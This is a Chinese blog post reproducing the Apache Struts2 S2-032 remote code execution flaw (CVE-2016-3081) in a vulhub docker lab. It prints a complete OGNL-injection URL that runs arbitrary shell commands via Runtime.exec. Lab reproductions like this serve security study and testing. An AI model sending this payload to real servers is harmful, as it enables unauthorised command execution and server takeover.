s2-032漏洞复现(CVE-2016-3081)

一、漏洞描述

  Apache Struts 2是世界上最流行的Java Web服务器框架之一。然而近日国内安全企业安恒信息的安全研究员Nike.zheng在Struts 2上发现存在高危安全漏洞(CVE-2016-3081,S02-32),黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有先安装docker+vulhub
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032#
执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032# docker-compose up -d
等到出现以下的页面时证明已经搭建完成

可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

三、漏洞利用

1、直接上EXP。。

http://172.16.100.179:8080/memoindex.action? 
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setC 
haracterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23pa 
rameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23 
w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls





可以看到命令执行成功!
2、关闭docker环境
进入环境目录,执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032# docker-compose down

posted @ 2021-01-08 10:17  冰淇淋干杯  阅读(1422)  评论(0编辑  收藏  举报